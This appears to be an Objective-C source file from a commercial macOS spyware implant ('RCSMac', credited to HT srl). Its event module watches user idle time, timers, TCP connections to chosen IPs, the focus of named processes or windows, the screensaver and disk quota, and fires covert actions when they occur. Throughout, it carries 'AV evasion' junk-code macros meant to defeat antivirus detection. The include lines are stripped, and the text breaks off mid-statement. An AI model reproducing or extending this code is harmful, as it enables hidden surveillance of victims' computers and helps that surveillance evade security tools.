/* * RCSMac - Events * * Provides all the events which should trigger an action * * Created by Alfredo 'revenge' Pesoli on 26/05/2009 * Copyright (C) HT srl 2009. All rights reserved * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define TCPSTATES #include #include #include #include #include #import "RCSMEvents.h" #import "RCSMTaskManager.h" #import "RCSMDiskQuota.h" #import "RCSMLogger.h" #import "RCSMDebug.h" #import "RCSMAVGarbage.h" // That's really stupid, check param.h // MAXCOMLEN 16 /* max command name remembered */ #define SCREENSAVER_PROCESS @"ScreenSaverEngin" extern NSString *RCSMaxLogQuotaReached; static __m_MEvents *sharedEvents = nil; static NSMutableArray *connectionsDetected = nil; NSLock *connectionLock; extern CFArrayRef (*pCGWindowListCopyWindowInfo)(CGWindowListOption, CGWindowID); @implementation __m_MEvents @synthesize mEventQuotaRunning; #pragma mark - #pragma mark Class and init methods #pragma mark - + (__m_MEvents *)sharedEvents { @synchronized(self) { if (sharedEvents == nil) { // // Assignment is not done here // [[self alloc] init]; connectionsDetected = [[NSMutableArray alloc] init]; } } return sharedEvents; } + (id)allocWithZone: (NSZone *)aZone { // AV evasion: only on release build AV_GARBAGE_003 @synchronized(self) { if (sharedEvents == nil) { sharedEvents = [super allocWithZone: aZone]; // // Assignment and return on first allocation // return sharedEvents; } } // On subsequent allocation attemps return nil return nil; } - (id)copyWithZone: (NSZone *)aZone { return self; } - (id)retain { return self; } - (unsigned)retainCount { // Denotes an object that cannot be released return UINT_MAX; } - (void)release { // Do nothing } - (id)autorelease { return self; } - (id)init { Class myClass = [self class]; @synchronized(myClass) { if (sharedEvents != nil) { self = [super init]; if (self != nil) { mEventQuotaRunning = NO; sharedEvents = self; } } } return sharedEvents; } #pragma mark - #pragma mark Events monitor routines #pragma mark - - (BOOL)isEventEnable: (NSDictionary*) configuration { BOOL enabled = TRUE; // AV evasion: only on release build AV_GARBAGE_007 @synchronized(configuration) { enabled = [[configuration objectForKey:@"enabled"] intValue]; } // AV evasion: only on release build AV_GARBAGE_002 return enabled; } - (BOOL)waitDelaySeconds:(NSDictionary*)configuration { BOOL breaked = FALSE; int aDelay = [[configuration objectForKey:@"delay"] intValue]; // AV evasion: only on release build AV_GARBAGE_007 if (aDelay > 0) { // AV evasion: only on release build AV_GARBAGE_005 for (int i=0; i 0) iter--; if ([self waitDelaySeconds:configuration] == FALSE && [self isEventEnable: configuration] == TRUE) [taskManager triggerAction: anAction]; else break; } while(iter == 0xFFFFFFFF || iter > 0); // AV evasion: only on release build AV_GARBAGE_005 return TRUE; } - (void)tryTriggerRepeat:(int)anAction withDealy:(int)aDelay andIteration:(int)iter maxDate:(NSDate*)aDate andConfiguration:(NSDictionary*)configuration { __m_MTaskManager *taskManager = [__m_MTaskManager sharedInstance]; // AV evasion: only on release build AV_GARBAGE_000 if (anAction == 0xFFFFFFFF) return; // AV evasion: only on release build AV_GARBAGE_001 do { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; NSDate *now = [NSDate date]; // AV evasion: only on release build AV_GARBAGE_000 if (iter > 0) iter--; if ([self waitDelaySeconds:configuration] == FALSE && [now earlierDate: aDate] == now && [self isEventEnable: configuration] == TRUE) [taskManager triggerAction: anAction]; else break; [pool release]; // AV evasion: only on release build AV_GARBAGE_005 } while(iter == 0xFFFFFFFF || iter > 0); // AV evasion: only on release build AV_GARBAGE_006 return; } - (UInt32)getIdleSec { // AV evasion: only on release build AV_GARBAGE_000 int64_t idlesecs = -1; io_iterator_t iter = 0; int64_t nanoseconds = 0; // AV evasion: only on release build AV_GARBAGE_009 if (IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHIDSystem"), &iter) == KERN_SUCCESS) { io_registry_entry_t entry = IOIteratorNext(iter); // AV evasion: only on release build AV_GARBAGE_006 if (entry) { // AV evasion: only on release build AV_GARBAGE_005 CFMutableDictionaryRef dict = NULL; if (IORegistryEntryCreateCFProperties(entry, &dict, kCFAllocatorDefault, 0) == KERN_SUCCESS) { CFNumberRef obj = CFDictionaryGetValue(dict, CFSTR("HIDIdleTime")); if (obj) { // AV evasion: only on release build AV_GARBAGE_003 if (CFNumberGetValue(obj, kCFNumberSInt64Type, &nanoseconds)) idlesecs = (nanoseconds >> 30); // Divide by 10^9 to convert from nanoseconds to seconds. // AV evasion: only on release build AV_GARBAGE_001 } CFRelease(dict); } IOObjectRelease(entry); } IOObjectRelease(iter); } #ifdef DEBUG_EVENTS infoLog(@"%s: idle %lu sec", __FUNCTION__, idlesecs); #endif // AV evasion: only on release build AV_GARBAGE_009 return idlesecs; } - (BOOL)isInIdle:(UInt32) sec { // AV evasion: only on release build AV_GARBAGE_000 if ([self getIdleSec] > sec) return TRUE; else return FALSE; // AV evasion: only on release build AV_GARBAGE_003 } - (void)eventIdle:(NSDictionary*)configuration { NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init]; BOOL amIInIdle = FALSE; BOOL idleTriggered = FALSE; [configuration retain]; // AV evasion: only on release build AV_GARBAGE_000 UInt32 *seconds = (UInt32*)[[configuration objectForKey: @"data"] bytes]; int enterAction = [[configuration objectForKey: @"actionID"] intValue]; int repeat = [[configuration objectForKey:@"repeat"] intValue]; int iter = [[configuration objectForKey:@"iter"] intValue]; int end = [[configuration objectForKey:@"end"] intValue]; int currentIter = iter; #ifdef DEBUG_EVENTS infoLog(@"%s: starting idle event every %lu sec", __FUNCTION__, *seconds); #endif // AV evasion: only on release build AV_GARBAGE_005 while (![[configuration objectForKey: @"status"] isEqual: EVENT_STOP] && ![[configuration objectForKey: @"status"] isEqual: EVENT_STOPPED]) { amIInIdle = [self isInIdle: *seconds]; if (amIInIdle == TRUE && idleTriggered == FALSE) { // AV evasion: only on release build AV_GARBAGE_004 if ([self isEventEnable: configuration] == TRUE) { #ifdef DEBUG_EVENTS infoLog(@"%s: triggering idle start %d", __FUNCTION__, enterAction); #endif idleTriggered = TRUE; // AV evasion: only on release build AV_GARBAGE_002 [[__m_MTaskManager sharedInstance] triggerAction: enterAction]; currentIter = 0; } } if (amIInIdle == NO && idleTriggered == TRUE) { if ([self isEventEnable: configuration] == TRUE) { // AV evasion: only on release build AV_GARBAGE_006 #ifdef DEBUG_EVENTS infoLog(@"%s: triggering idle stop %d", __FUNCTION__, end); #endif [[__m_MTaskManager sharedInstance] triggerAction: end]; idleTriggered = FALSE; } } if (amIInIdle == TRUE) { // AV evasion: only on release build AV_GARBAGE_007 if (((iter == 0xFFFFFFFF) || (currentIter < iter)) && [self waitDelaySeconds:configuration] == FALSE && [self isEventEnable: configuration] == TRUE) { #ifdef DEBUG_EVENTS infoLog(@"%s: triggering idle repeat %d", __FUNCTION__, repeat); #endif // AV evasion: only on release build AV_GARBAGE_002 [[__m_MTaskManager sharedInstance] triggerAction: repeat]; currentIter++; } } sleep(1); } if ([[configuration objectForKey: @"status"] isEqualToString: EVENT_STOP]) { // AV evasion: only on release build AV_GARBAGE_001 [configuration setValue: EVENT_STOPPED forKey: @"status"]; } // AV evasion: only on release build AV_GARBAGE_002 [configuration release]; [outerPool release]; return; } - (void)eventQuotaNotificationCallback:(NSNotification*)aNotify { NSNumber *actionId = (NSNumber*)[aNotify object]; // AV evasion: only on release build AV_GARBAGE_000 if (actionId && [actionId intValue] > -1) { #ifdef DEBUG_EVENTS infoLog(@"event quota triggering action %@", actionId); #endif // AV evasion: only on release build AV_GARBAGE_009 [[__m_MTaskManager sharedInstance] triggerAction: [actionId intValue]]; // AV evasion: only on release build AV_GARBAGE_005 } } // Done.! - (void)eventTimer: (NSDictionary *)configuration { NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init]; // AV evasion: only on release build AV_GARBAGE_009 __m_MTaskManager *taskManager = [__m_MTaskManager sharedInstance]; NSDate *startThreadDate = [[NSDate date] retain]; timerStruct *timerRawData; NSTimeInterval interval = 0; BOOL timerDailyTriggered = NO; [configuration retain]; timerRawData = (timerStruct *)[[configuration objectForKey: @"data"] bytes]; int actionID = [[configuration objectForKey: @"actionID"] intValue]; int type = timerRawData->type; uint low = timerRawData->loDelay; uint high = timerRawData->hiDelay; uint endActionID = timerRawData->endAction; int repeat = [[configuration objectForKey:@"repeat"] intValue]; int delay = [[configuration objectForKey:@"delay"] intValue]; int iter = [[configuration objectForKey:@"iter"] intValue]; int curriteration = 0; // AV evasion: only on release build AV_GARBAGE_001 while (![[configuration objectForKey: @"status"] isEqual: EVENT_STOP] && ![[configuration objectForKey: @"status"] isEqual: EVENT_STOPPED]) { NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init]; switch (type) { // never in __m_8 case TIMER_AFTER_STARTUP: { interval = [[NSDate date] timeIntervalSinceDate: startThreadDate]; // AV evasion: only on release build AV_GARBAGE_002 if (fabs(interval) >= low / 1000) { if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: actionID]; [self tryTriggerRepeat: repeat withDealy: delay andIteration: iter andConfiguration: configuration]; if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: endActionID]; [innerPool release]; [outerPool release]; [NSThread exit]; } break; } case TIMER_LOOP: { // AV evasion: only on release build AV_GARBAGE_001 if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: actionID]; while (iter == 0xFFFFFFFF || curriteration < iter) { if ([self waitDelaySeconds:configuration] == FALSE) { if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: repeat]; curriteration++; } else { break; } } // event stopped: exit [configuration release]; [innerPool release]; [outerPool release]; [NSThread exit]; break; } case TIMER_DATE: { // AV evasion: only on release build AV_GARBAGE_003 int64_t configuredDate = 0; configuredDate = ((int64_t)high << 32) | (int64_t)low; int64_t unixDate = (configuredDate - EPOCH_DIFF) / RATE_DIFF; NSDate *givenDate = [NSDate dateWithTimeIntervalSince1970: unixDate]; if ([[NSDate date] isGreaterThan: givenDate]) { if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: actionID]; // AV evasion: only on release build AV_GARBAGE_004 [self tryTriggerRepeat: repeat withDealy: delay andIteration: iter andConfiguration: configuration]; // AV evasion: only on release build AV_GARBAGE_005 if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: endActionID]; [configuration release]; [innerPool release]; [outerPool release]; [NSThread exit]; } break; } case TIMER_INST: { // AV evasion: only on release build AV_GARBAGE_005 int64_t configuredDate = 0; // 100-nanosec unit from installation date configuredDate = ((int64_t)high << 32) | (int64_t)low; // seconds unit from installation date configuredDate = configuredDate*(0.0000001); NSDictionary *bundleAttrib = [[NSFileManager defaultManager] attributesOfItemAtPath: [[NSBundle mainBundle] executablePath] error: nil]; NSDate *creationDate = [bundleAttrib objectForKey: NSFileCreationDate]; if (creationDate == nil) break; // AV evasion: only on release build AV_GARBAGE_008 NSDate *givenDate = [creationDate dateByAddingTimeInterval: configuredDate]; if ([[NSDate date] isGreaterThan: givenDate]) { if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: actionID]; // AV evasion: only on release build AV_GARBAGE_009 [self tryTriggerRepeat: repeat withDealy: delay andIteration: iter andConfiguration: configuration]; if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: endActionID]; [configuration release]; [innerPool release]; [outerPool release]; [NSThread exit]; } break; } case TIMER_DAILY: { //date description format: YYYY-MM-DD HH:MM:SS ±HHMM NSDate *now = [NSDate date]; // AV evasion: only on release build AV_GARBAGE_008 NSRange fixedRange; fixedRange.location = 11; fixedRange.length = 8; // UTC timers NSTimeZone *timeZone = [NSTimeZone timeZoneWithName:@"UTC"]; NSDateFormatter *inFormat = [[NSDateFormatter alloc] init]; [inFormat setTimeZone:timeZone]; [inFormat setDateFormat: @"yyyy-MM-dd hh:mm:ss ZZZ"]; // Get current date string UTC NSString *currDateStr = [inFormat stringFromDate: now]; [inFormat release]; // AV evasion: only on release build AV_GARBAGE_006 NSMutableString *dayStr = [[NSMutableString alloc] initWithString: currDateStr]; // AV evasion: only on release build AV_GARBAGE_007 // Set current date time to midnight [dayStr replaceCharactersInRange: fixedRange withString: @"00:00:00"]; NSDateFormatter *outFormat = [[NSDateFormatter alloc] init]; [outFormat setTimeZone:timeZone]; [outFormat setDateFormat: @"yyyy-MM-dd hh:mm:ss ZZZ"]; // Current midnite NSDate *dayDate = [outFormat dateFromString: dayStr]; [outFormat release]; // AV evasion: only on release build AV_GARBAGE_003 [dayStr release]; NSDate *lowDay = [dayDate dateByAddingTimeInterval: (low/1000)]; NSDate *highDay = [dayDate dateByAddingTimeInterval: (high/1000)]; // AV evasion: only on release build AV_GARBAGE_002 if (timerDailyTriggered == NO && [[now laterDate: lowDay] isEqualToDate: now] && [[now earlierDate: highDay] isEqualToDate: now]) { if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: actionID]; // AV evasion: only on release build AV_GARBAGE_001 [self tryTriggerRepeat: repeat withDealy: delay andIteration: iter maxDate: highDay andConfiguration: configuration]; // AV evasion: only on release build AV_GARBAGE_003 timerDailyTriggered = YES; } else if (timerDailyTriggered == YES && ([[now laterDate: highDay] isEqualToDate: now] || [[now earlierDate: lowDay] isEqualToDate: now]) ) { // AV evasion: only on release build AV_GARBAGE_000 if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: endActionID]; timerDailyTriggered = NO; } break; } default: { [innerPool release]; [outerPool release]; [NSThread exit]; } } usleep(300000); // AV evasion: only on release build AV_GARBAGE_001 [innerPool release]; } if ([[configuration objectForKey: @"status"] isEqualToString: EVENT_STOP]) { // AV evasion: only on release build AV_GARBAGE_000 [configuration setValue: EVENT_STOPPED forKey: @"status"]; } [configuration release]; if (startThreadDate != nil) [startThreadDate release]; // AV evasion: only on release build AV_GARBAGE_002 [outerPool release]; } // Done.! - (void)eventConnection: (NSDictionary *)configuration { NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init]; __m_MTaskManager *taskManager = [__m_MTaskManager sharedInstance]; char mibName[] = "net.inet.tcp.pcblist"; connectionStruct *connectionRawData; BOOL connectionFound; struct xinpgen *xig, *oxig; struct tcpcb *tp = NULL; struct inpcb *inp; struct xsocket *so; size_t len = 0; char *buffer; // AV evasion: only on release build AV_GARBAGE_000 [configuration retain]; int actionID = [[configuration objectForKey: @"actionID"] intValue]; int repeat = [[configuration objectForKey:@"repeat"] intValue]; int delay = [[configuration objectForKey:@"delay"] intValue]; int iter = [[configuration objectForKey:@"iter"] intValue]; int end = [[configuration objectForKey:@"end"] intValue]; while (![[configuration objectForKey: @"status"] isEqual: EVENT_STOP] && ![[configuration objectForKey: @"status"] isEqual: EVENT_STOPPED]) { NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init]; connectionFound = FALSE; connectionRawData = (connectionStruct *)[[configuration objectForKey: @"data"] bytes]; u_long ipAddress = connectionRawData->ipAddress; u_long netMask = connectionRawData->netMask; int connectionPort = connectionRawData->port; // AV evasion: only on release build AV_GARBAGE_009 struct in_addr tempAddress; tempAddress.s_addr = ipAddress; #ifdef DEBUG_EVENTS verboseLog(@"IP Address to Match: %s", inet_ntoa(tempAddress)); #endif if (sysctlbyname(mibName, 0, &len, 0, 0) >= 0) { if ((buffer = malloc(len)) != 0) { if (sysctlbyname(mibName, buffer, &len, 0, 0) < 0) { #ifdef DEBUG_EVENTS errorLog(@"Error on second sysctlbyname call"); #endif // AV evasion: only on release build AV_GARBAGE_008 free(buffer); [configuration release]; [innerPool release]; [outerPool release]; [NSThread exit]; } } else { #ifdef DEBUG_EVENTS errorLog(@"Error on malloc"); #endif free(buffer); [configuration release]; [innerPool release]; [outerPool release]; [NSThread exit]; } } else { #ifdef DEBUG_EVENTS errorLog(@"Error on first sysctlbyname call"); #endif free(buffer); [configuration release]; [innerPool release]; [outerPool release]; [NSThread exit]; } oxig = xig = (struct xinpgen *)buffer; // AV evasion: only on release build AV_GARBAGE_007 struct in_addr netMaskStruct; netMaskStruct.s_addr = netMask; // AV evasion: only on release build AV_GARBAGE_006 NSString *ip = [NSString stringWithUTF8String: inet_ntoa(tempAddress)]; NSNumber *port = [NSNumber numberWithInt: connectionPort]; NSString *ipNetmask = [NSString stringWithUTF8String: inet_ntoa(netMaskStruct)]; // // Cycle through all the TCP connections // for (xig = (struct xinpgen *)((char *)xig + xig->xig_len); xig->xig_len > sizeof(struct xinpgen); xig = (struct xinpgen *)((char *)xig + xig->xig_len)) { tp = &((struct xtcpcb *)xig)->xt_tp; inp = &((struct xtcpcb *)xig)->xt_inp; so = &((struct xtcpcb *)xig)->xt_socket; // // Check only for TCP and ESTABLISHED connections // extern char *tcpstates[]; const char *state = "ESTABLISHED"; if (so->xso_protocol == IPPROTO_TCP && strncmp(tcpstates[tp->t_state], state, strlen(state)) == 0) { #ifdef DEBUG_EVENTS verboseLog(@"Found an established connection: %s", inet_ntoa(inp->inp_faddr)); verboseLog(@"Configured netmask: %@", ipNetmask); #endif // AV evasion: only on release build AV_GARBAGE_005 // // Check if the ip belongs to any local network // and if it's the ip that we are looking for // if (isAddressOnLan(inp->inp_faddr) == FALSE && compareIpAddress(inp->inp_faddr, tempAddress, netMask) == TRUE) { #ifdef DEBUG_EVENTS warnLog(@"Address in list: %s (not on lan)", inet_ntoa(inp->inp_faddr)); #endif if (connectionPort == 0 || inp->inp_fport == connectionPort) { connectionFound = TRUE; // AV evasion: only on release build AV_GARBAGE_004 // // Check if the address hasn't been detected already // if (isAddressAlreadyDetected(ip, connectionPort, ipNetmask, connectionsDetected) == FALSE) { NSArray *keys = [[NSArray alloc] initWithObjects: @"ip", @"port", @"netmask", nil]; NSArray *objects = [[NSArray alloc] initWithObjects: ip, port, ipNetmask, nil]; NSDictionary *connection = [[NSDictionary alloc] initWithObjects: objects forKeys: keys]; // AV evasion: only on release build AV_GARBAGE_003 [connectionLock lock]; [connectionsDetected addObject: connection]; [connectionLock unlock]; [keys release]; [objects release]; [connection release]; #ifdef DEBUG_EVENTS warnLog(@"Event Connection triggered!"); #endif if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: actionID]; [self tryTriggerRepeat: repeat withDealy: delay andIteration: iter andConfiguration: configuration]; if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: end]; } } } } } free(buffer); // AV evasion: only on release build AV_GARBAGE_002 if (isAddressAlreadyDetected(ip, connectionPort, ipNetmask, connectionsDetected) == TRUE && connectionFound == FALSE) { #ifdef DEBUG_EVENTS infoLog(@"Removing Connection"); #endif // // Connection has been found previously and now it's not there anymore // thus we remove it from our array in order to let it trigger again // NSArray *keys = [[NSArray alloc] initWithObjects: @"ip", @"port", @"netmask", nil]; NSArray *objects = [[NSArray alloc] initWithObjects: ip, port, ipNetmask, nil]; NSDictionary *connection = [[NSDictionary alloc] initWithObjects: objects forKeys: keys]; [connectionLock lock]; [connectionsDetected removeObject: connection]; [connectionLock unlock]; // AV evasion: only on release build AV_GARBAGE_001 [keys release]; [objects release]; [connection release]; } [innerPool release]; usleep(500000); } // AV evasion: only on release build AV_GARBAGE_000 if ([[configuration objectForKey: @"status"] isEqualToString: EVENT_STOP]) { // AV evasion: only on release build AV_GARBAGE_000 [configuration setValue: EVENT_STOPPED forKey: @"status"]; [connectionsDetected removeAllObjects]; } [configuration release]; // AV evasion: only on release build AV_GARBAGE_000 [outerPool release]; } // Done.! rivedere lunghezza e utf16 - (void)eventProcess: (NSDictionary *)configuration { NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init]; __m_MTaskManager *taskManager = [__m_MTaskManager sharedInstance]; NSString *process = nil; int processAlreadyFound = 0; processStruct *processRawData; // AV evasion: only on release build AV_GARBAGE_000 [configuration retain]; processRawData = (processStruct *)[[configuration objectForKey: @"data"] bytes]; // AV evasion: only on release build AV_GARBAGE_009 int actionID = [[configuration objectForKey: @"actionID"] intValue]; int onTermination = processRawData->onClose; int lookForTitle = processRawData->lookForTitle; int repeat = [[configuration objectForKey:@"repeat"] intValue]; int iter = [[configuration objectForKey:@"iter"] intValue]; int currentIter = iter; unichar *_process = (unichar *)(processRawData->name); size_t _pLen = _utf16len(_process); // Empty processName - exiting if (_pLen == 0) { [configuration release]; [outerPool release]; [NSThread exit]; } process = [[NSString alloc] initWithCharacters: (unichar *)_process length: _pLen]; NSString *process_lowercaseString = [process lowercaseString]; // AV evasion: only on release build AV_GARBAGE_008 BOOL onFocus = NO; uint32_t mode = EVENT_PROCESS_NAME; if ((lookForTitle & EVENT_PROCESS_ON_FOCUS) == EVENT_PROCESS_ON_FOCUS) onFocus = YES; if ((lookForTitle & EVENT_PROCESS_ON_WINDOW) == EVENT_PROCESS_ON_WINDOW) mode = EVENT_PROCESS_WIN_TITLE; while (![[configuration objectForKey: @"status"] isEqual: EVENT_STOP] && ![[configuration objectForKey: @"status"] isEqual: EVENT_STOPPED]) { NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init]; switch (mode) { case EVENT_PROCESS_NAME: { // AV evasion: only on release build AV_GARBAGE_007 if (processAlreadyFound != 0 && findProcessWithName(process_lowercaseString) == YES && onFocus == YES) { // // Process was already found and we're looking for focus // thus we try to understand if the process has just lost focus // CFArrayRef windowList = pCGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID); int firstPid = -1; // AV evasion: only on release build AV_GARBAGE_006 for (NSMutableDictionary *entry in (NSArray *)windowList) { // // kCGWindowLayer is equal 0 it means it's a windowed // process (exclude tray process and stuff like that) // if ([[entry objectForKey: (id)kCGWindowLayer] intValue] == 0) { int _pid = [[entry objectForKey: (id)kCGWindowOwnerPID] intValue]; if (firstPid == -1) { firstPid = _pid; } else if (firstPid != _pid) { // Ok, we're on the second element which is the process // who just lost focus NSString *procLostFocus = [entry objectForKey: (id)kCGWindowOwnerName]; if (matchPattern([[procLostFocus lowercaseString] UTF8String], [process_lowercaseString UTF8String])) { processAlreadyFound = 0; if (onTermination != 0xFFFFFFFF && [self isEventEnable: configuration] == TRUE) [taskManager triggerAction: onTermination]; } } } } CFRelease(windowList); } else if (processAlreadyFound != 0 && findProcessWithName(process_lowercaseString) == NO && onFocus == NO) { // // If process has already been found and we don't find it again, we // can clear the process found flag in order to trigger once again // the event in case the process is launched multiple times // // AV evasion: only on release build AV_GARBAGE_005 processAlreadyFound = 0; if (onTermination != 0xFFFFFFFF && [self isEventEnable: configuration] == TRUE) [taskManager triggerAction: onTermination]; } else if (processAlreadyFound == 0 && findProcessWithName(process_lowercaseString) == YES) { // // If we're looking for focus, we need to grab the first window // on screen and match the windowOwner within the process name // we're currently looking for // if (onFocus == YES) { // AV evasion: only on release build AV_GARBAGE_004 NSDictionary *windowInfo = getActiveWindowInfo(); NSString *procWithFocus = [windowInfo objectForKey: @"processName"]; if (matchPattern([[procWithFocus lowercaseString] UTF8String], [process_lowercaseString UTF8String])) { #ifdef DEBUG_EVENTS warnLog(@"Process (%@) got focus", process); #endif processAlreadyFound = 1; } #ifdef DEBUG_EVENTS else { verboseLog(@"process currently looking for: %@", process); verboseLog(@"process with focus: %@", procWithFocus); } #endif } else { // We're not looking for focus events processAlreadyFound = 1; } // // We can trigger the event if this flag is set to 1 // if (processAlreadyFound == 1) { if (actionID != 0xFFFFFFFF && [self isEventEnable: configuration] == TRUE) [taskManager triggerAction: actionID]; // restart triggering iter times the repeat action currentIter = 0; } } break; } case EVENT_PROCESS_WIN_TITLE: { BOOL titleFound = NO; // AV evasion: only on release build AV_GARBAGE_003 // // First see if the given entry has focus or is found inside the // current window list // if (onFocus == YES) { NSDictionary *windowInfo = getActiveWindowInfo(); NSString *procWithFocus = [windowInfo objectForKey: @"windowName"]; #ifdef DEBUG_EVENTS verboseLog(@"win focus: %@", procWithFocus); #endif if (matchPattern([[procWithFocus lowercaseString] UTF8String], [process_lowercaseString UTF8String])) { #ifdef DEBUG_EVENTS warnLog(@"Window (%@) got focus", process); #endif titleFound = YES; // AV evasion: only on release build AV_GARBAGE_003 } } else { CFArrayRef windowList = pCGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID); // AV evasion: only on release build AV_GARBAGE_002 for (NSMutableDictionary *entry in (NSArray *)windowList) { NSString *windowName = [entry objectForKey: (id)kCGWindowName]; if (matchPattern([[windowName lowercaseString] UTF8String], [process_lowercaseString UTF8String])) { #ifdef DEBUG_EVENTS warnLog(@"Window (%@) was found (no focus)", process); #endif titleFound = YES; } } CFRelease(windowList); } // // If title is found for the first time, trigger if avail // if (processAlreadyFound == 0 && titleFound == YES) { processAlreadyFound = 1; // AV evasion: only on release build AV_GARBAGE_001 if (actionID != 0xFFFFFFFF && [self isEventEnable: configuration] == TRUE) [taskManager triggerAction: actionID]; // restart triggering repeat action iter times currentIter = 0; } else if (processAlreadyFound != 0 && titleFound == YES) { // // Process was already found and we're looking for focus // thus we try to understand if the process has just lost focus // if (onFocus == YES) { CFArrayRef windowList = pCGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID); int firstPid = -1; // AV evasion: only on release build AV_GARBAGE_000 for (NSMutableDictionary *entry in (NSArray *)windowList) { // // kCGWindowLayer is equal 0 it means it's a windowed // process (exclude tray process and stuff like that) // if ([[entry objectForKey: (id)kCGWindowLayer] intValue] == 0) { int _pid = [[entry objectForKey: (id)kCGWindowOwnerPID] intValue]; if (firstPid == -1) { firstPid = _pid; } else if (firstPid != _pid) { // Ok, we're on the second element which is the process // who just lost focus NSString *procLostFocus = [entry objectForKey: (id)kCGWindowName]; if (matchPattern([[procLostFocus lowercaseString] UTF8String], [process_lowercaseString UTF8String])) { processAlreadyFound = 0; // AV evasion: only on release build AV_GARBAGE_001 if (onTermination != 0xFFFFFFFF && [self isEventEnable: configuration] == TRUE) [taskManager triggerAction: onTermination]; } } } } CFRelease(windowList); } } else if (processAlreadyFound != 0 && titleFound == NO) { processAlreadyFound = 0; // AV evasion: only on release build AV_GARBAGE_002 if (onTermination != 0xFFFFFFFF && [self isEventEnable: configuration] == TRUE) [taskManager triggerAction: onTermination]; } break; } default: break; } if (processAlreadyFound == 1) { if (((iter == 0xFFFFFFFF) || (currentIter < iter)) && [self waitDelaySeconds:configuration] == FALSE) { // AV evasion: only on release build AV_GARBAGE_003 if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: repeat]; currentIter++; } } usleep(350000); [innerPool drain]; } if ([[configuration objectForKey: @"status"] isEqualToString: EVENT_STOP]) { // AV evasion: only on release build AV_GARBAGE_004 [configuration setValue: EVENT_STOPPED forKey: @"status"]; } [process release]; [configuration release]; // AV evasion: only on release build AV_GARBAGE_005 [outerPool drain]; } // Done.! - (void)eventScreensaver: (NSDictionary *)configuration { NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init]; // AV evasion: only on release build AV_GARBAGE_001 __m_MTaskManager *taskManager = [__m_MTaskManager sharedInstance]; BOOL screenSaverFound = FALSE; int onTermination; [configuration retain]; [[configuration objectForKey: @"data"] getBytes: &onTermination]; int actionID = [[configuration objectForKey: @"actionID"] intValue]; int repeat = [[configuration objectForKey:@"repeat"] intValue]; int iter = [[configuration objectForKey:@"iter"] intValue]; int currentIter = iter; // AV evasion: only on release build AV_GARBAGE_002 NSString *process = [NSString stringWithString: SCREENSAVER_PROCESS]; NSString *process_lowercaseString = [process lowercaseString]; while (![[configuration objectForKey: @"status"] isEqual: EVENT_STOP] && ![[configuration objectForKey: @"status"] isEqual: EVENT_STOPPED]) { NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init]; // AV evasion: only on release build AV_GARBAGE_003 if (screenSaverFound == TRUE && findProcessWithName(process_lowercaseString) == NO) { screenSaverFound = FALSE; // AV evasion: only on release build AV_GARBAGE_004 if (onTermination != 0xFFFFFFFF && [self isEventEnable: configuration] == TRUE) { [taskManager triggerAction: onTermination]; } } else if (screenSaverFound == FALSE && findProcessWithName(process_lowercaseString) == YES) { screenSaverFound = TRUE; if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: actionID]; currentIter = 0; } if (screenSaverFound == TRUE) { // AV evasion: only on release build AV_GARBAGE_005 if (((iter == 0xFFFFFFFF) || (currentIter < iter)) && [self waitDelaySeconds:configuration] == FALSE) { if ([self isEventEnable: configuration] == TRUE) [taskManager triggerAction: repeat]; currentIter++; } } [innerPool release]; usleep(500000); } if ([[configuration objectForKey: @"status"] isEqualToString: EVENT_STOP]) { // AV evasion: only on release build AV_GARBAGE_006 [configuration setValue: EVENT_STOPPED forKey: @"status"]; } [configuration release]; [outerPool release]; } typedef struct { UInt32 disk_quota; UInt32 tag; UInt32 exit_event; } quota_conf_entry_t; // Done.! - (void)eventQuota: (NSDictionary *)configuration { NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init]; // AV evasion: only on release build AV_GARBAGE_000 [configuration retain]; quota_conf_entry_t *params = (quota_conf_entry_t*)[[configuration objectForKey: @"data"] bytes]; // AV evasion: only on release build AV_GARBAGE_001 int exitAction = params->exit_event; int enterAction = [[configuration objectForKey: @"actionID"] intValue]; int repeat = [[configuration objectForKey:@"repeat"] intValue]; int iter = [[configuration objectForKey:@"iter"] intValue]; int currentIter = iter; // Setting parameter [[__m_MDiskQuota sharedInstance] setEventQuotaParam: configuration andAction: [configuration objectForKey:@"actionID"]]; // AV evasion: only on release build AV_GARBAGE_003 while (![[configuration objectForKey: @"status"] isEqual: EVENT_STOP] && ![[configuration objectForKey: @"status"] isEqual: EVENT_STOPPED]) { if (mEventQuotaRunning == NO && [[__m_MDiskQuota sharedInstance] mMaxQuotaTriggered] == YES) { mEventQuotaRunning = YES; if ([self isEventEnable: configuration] == TRUE) [[__m_MTaskManager sharedInstance] triggerAction: enterAction]; currentIter = 0; } if (mEventQuotaRunning == YES && [[__m_MDiskQuota sharedInstance] mMaxQuotaTriggered] == NO) { // AV evasion: only on release build AV_GARBAGE_005 mEventQuotaRunning = NO; if ([self 